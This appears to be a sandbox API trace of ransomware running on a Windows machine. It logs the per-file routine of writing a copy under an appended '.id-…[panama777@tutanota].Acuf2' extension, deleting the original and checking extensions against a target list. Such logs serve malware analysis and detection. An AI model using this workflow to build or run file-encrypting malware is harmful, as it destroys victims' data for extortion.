	[0265.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0265.147] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.147] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0265.147] GetLastError () returned 0x0
	[0265.147] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x72, lpOverlapped=0x0) returned 1
	[0265.148] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0265.149] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.149] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0265.149] SetEndOfFile (hFile=0x358) returned 1
	[0265.149] CloseHandle (hObject=0x358) returned 1
	[0265.149] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.149] SetEndOfFile (hFile=0x218) returned 1
	[0265.151] CloseHandle (hObject=0x218) returned 1
	[0265.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_f_col.hxk")) returned 1
	[0265.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67
	[0265.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67
	[0265.152] lstrlenW (lpString=".doc") returned 4
	[0265.152] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0265.152] lstrlenW (lpString=".docx") returned 5
	[0265.152] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0265.152] lstrlenW (lpString=".pdf") returned 4
	[0265.152] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0265.152] lstrlenW (lpString=".xls") returned 4
	[0265.152] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0265.152] lstrlenW (lpString=".xlsx") returned 5
	[0265.152] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0265.152] lstrlenW (lpString=".ppt") returned 4
	[0265.152] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0265.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67
	[0265.152] lstrlenW (lpString=".zip") returned 4
	[0265.152] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0265.152] lstrlenW (lpString=".rar") returned 4
	[0265.152] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0265.152] lstrlenW (lpString=".bz2") returned 4
	[0265.152] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0265.152] lstrlenW (lpString=".7z") returned 3
	[0265.152] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0265.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67
	[0265.152] lstrlenW (lpString=".dbf") returned 4
	[0265.152] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0265.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67
	[0265.152] lstrlenW (lpString=".1cd") returned 4
	[0265.152] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0265.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_F_COL.HXK") returned 67
	[0265.152] lstrlenW (lpString=".jpg") returned 4
	[0265.153] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0265.153] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=113) returned 1
	[0265.153] CloseHandle (hObject=0x218) returned 1
	[0265.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk")) returned 0x20
	[0265.153] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0265.153] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.153] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0265.154] GetLastError () returned 0x0
	[0265.154] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x71, lpOverlapped=0x0) returned 1
	[0265.155] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0265.155] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.155] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfa, lpOverlapped=0x0) returned 1
	[0265.155] SetEndOfFile (hFile=0x358) returned 1
	[0265.155] CloseHandle (hObject=0x358) returned 1
	[0265.156] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.156] SetEndOfFile (hFile=0x218) returned 1
	[0265.158] CloseHandle (hObject=0x218) returned 1
	[0265.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.dev_k_col.hxk")) returned 1
	[0265.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67
	[0265.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67
	[0265.158] lstrlenW (lpString=".doc") returned 4
	[0265.158] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0265.158] lstrlenW (lpString=".docx") returned 5
	[0265.158] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0265.158] lstrlenW (lpString=".pdf") returned 4
	[0265.158] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0265.159] lstrlenW (lpString=".xls") returned 4
	[0265.159] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0265.159] lstrlenW (lpString=".xlsx") returned 5
	[0265.159] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0265.159] lstrlenW (lpString=".ppt") returned 4
	[0265.159] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0265.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67
	[0265.159] lstrlenW (lpString=".zip") returned 4
	[0265.159] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0265.159] lstrlenW (lpString=".rar") returned 4
	[0265.159] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0265.159] lstrlenW (lpString=".bz2") returned 4
	[0265.159] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0265.159] lstrlenW (lpString=".7z") returned 3
	[0265.159] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0265.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67
	[0265.159] lstrlenW (lpString=".dbf") returned 4
	[0265.159] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0265.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67
	[0265.159] lstrlenW (lpString=".1cd") returned 4
	[0265.159] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0265.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.DEV_K_COL.HXK") returned 67
	[0265.159] lstrlenW (lpString=".jpg") returned 4
	[0265.159] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0265.160] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=2839338) returned 1
	[0265.160] CloseHandle (hObject=0x218) returned 1
	[0265.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs")) returned 0x20
	[0265.160] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0
	[0265.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57
	[0265.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57
	[0265.160] lstrlenW (lpString=".doc") returned 4
	[0265.160] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0265.160] lstrlenW (lpString=".docx") returned 5
	[0265.160] lstrcmpiW (lpString1=".docx", lpString2="O.HXS") returned -1
	[0265.160] lstrlenW (lpString=".pdf") returned 4
	[0265.160] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0265.160] lstrlenW (lpString=".xls") returned 4
	[0265.160] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0265.160] lstrlenW (lpString=".xlsx") returned 5
	[0265.160] lstrcmpiW (lpString1=".xlsx", lpString2="O.HXS") returned -1
	[0265.160] lstrlenW (lpString=".ppt") returned 4
	[0265.160] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0265.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57
	[0265.160] lstrlenW (lpString=".zip") returned 4
	[0265.160] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0265.160] lstrlenW (lpString=".rar") returned 4
	[0265.160] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0265.160] lstrlenW (lpString=".bz2") returned 4
	[0265.161] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0265.161] lstrlenW (lpString=".7z") returned 3
	[0265.161] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0265.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57
	[0265.161] lstrlenW (lpString=".dbf") returned 4
	[0265.161] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0265.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57
	[0265.161] lstrlenW (lpString=".1cd") returned 4
	[0265.161] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0265.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.HXS") returned 57
	[0265.161] lstrlenW (lpString=".jpg") returned 4
	[0265.161] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0265.161] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.161] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0265.162] GetLastError () returned 0x0
	[0265.162] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0xd6cc6, lpOverlapped=0x0) returned 1
	[0265.405] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xd6cd0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xd6cd0, lpOverlapped=0x0) returned 1
	[0265.421] ReadFile (in: hFile=0x218, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.421] WriteFile (in: hFile=0x358, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xfc, lpOverlapped=0x0) returned 1
	[0265.421] SetEndOfFile (hFile=0x358) returned 1
	[0265.421] CloseHandle (hObject=0x358) returned 1
	[0265.421] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.421] SetEndOfFile (hFile=0x218) returned 1
	[0265.679] CloseHandle (hObject=0x218) returned 1
	[0265.680] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.805] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio.shapesheet.hxs")) returned 1
	[0265.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68
	[0265.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68
	[0265.805] lstrlenW (lpString=".doc") returned 4
	[0265.805] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1
	[0265.805] lstrlenW (lpString=".docx") returned 5
	[0265.805] lstrcmpiW (lpString1=".docx", lpString2="T.HXS") returned -1
	[0265.805] lstrlenW (lpString=".pdf") returned 4
	[0265.805] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1
	[0265.805] lstrlenW (lpString=".xls") returned 4
	[0265.805] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1
	[0265.805] lstrlenW (lpString=".xlsx") returned 5
	[0265.805] lstrcmpiW (lpString1=".xlsx", lpString2="T.HXS") returned -1
	[0265.805] lstrlenW (lpString=".ppt") returned 4
	[0265.806] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1
	[0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68
	[0265.806] lstrlenW (lpString=".zip") returned 4
	[0265.806] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1
	[0265.806] lstrlenW (lpString=".rar") returned 4
	[0265.806] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1
	[0265.806] lstrlenW (lpString=".bz2") returned 4
	[0265.806] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1
	[0265.806] lstrlenW (lpString=".7z") returned 3
	[0265.806] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1
	[0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68
	[0265.806] lstrlenW (lpString=".dbf") returned 4
	[0265.806] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1
	[0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68
	[0265.806] lstrlenW (lpString=".1cd") returned 4
	[0265.806] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1
	[0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO.SHAPESHEET.HXS") returned 68
	[0265.806] lstrlenW (lpString=".jpg") returned 4
	[0265.806] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1
	[0265.806] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=113) returned 1
	[0265.806] CloseHandle (hObject=0x344) returned 1
	[0265.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk")) returned 0x20
	[0265.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0265.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0265.807] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.807] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0265.807] GetLastError () returned 0x0
	[0265.807] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x71, lpOverlapped=0x0) returned 1
	[0265.808] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0265.809] ReadFile (in: hFile=0x344, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0265.809] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0265.809] SetEndOfFile (hFile=0x35c) returned 1
	[0265.809] CloseHandle (hObject=0x35c) returned 1
	[0265.809] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0265.809] SetEndOfFile (hFile=0x344) returned 1
	[0265.811] CloseHandle (hObject=0x344) returned 1
	[0265.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0265.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk")) returned 1
	[0265.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63
	[0265.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63
	[0265.812] lstrlenW (lpString=".doc") returned 4
	[0265.812] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0265.812] lstrlenW (lpString=".docx") returned 5
	[0265.812] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0265.812] lstrlenW (lpString=".pdf") returned 4
	[0265.812] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0265.812] lstrlenW (lpString=".xls") returned 4
	[0265.812] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0265.812] lstrlenW (lpString=".xlsx") returned 5
	[0265.812] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0265.812] lstrlenW (lpString=".ppt") returned 4
	[0265.812] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0265.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63
	[0265.812] lstrlenW (lpString=".zip") returned 4
	[0265.812] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0265.812] lstrlenW (lpString=".rar") returned 4
	[0265.812] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0265.812] lstrlenW (lpString=".bz2") returned 4
	[0265.812] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0265.812] lstrlenW (lpString=".7z") returned 3
	[0265.812] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0265.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63
	[0265.812] lstrlenW (lpString=".dbf") returned 4
	[0265.812] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0265.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63
	[0265.812] lstrlenW (lpString=".1cd") returned 4
	[0265.812] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0265.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63
	[0265.813] lstrlenW (lpString=".jpg") returned 4
	[0265.813] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0265.813] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=2287488) returned 1
	[0265.813] CloseHandle (hObject=0x344) returned 1
	[0265.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs")) returned 0x20
	[0265.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM.HXS.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm.hxs.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
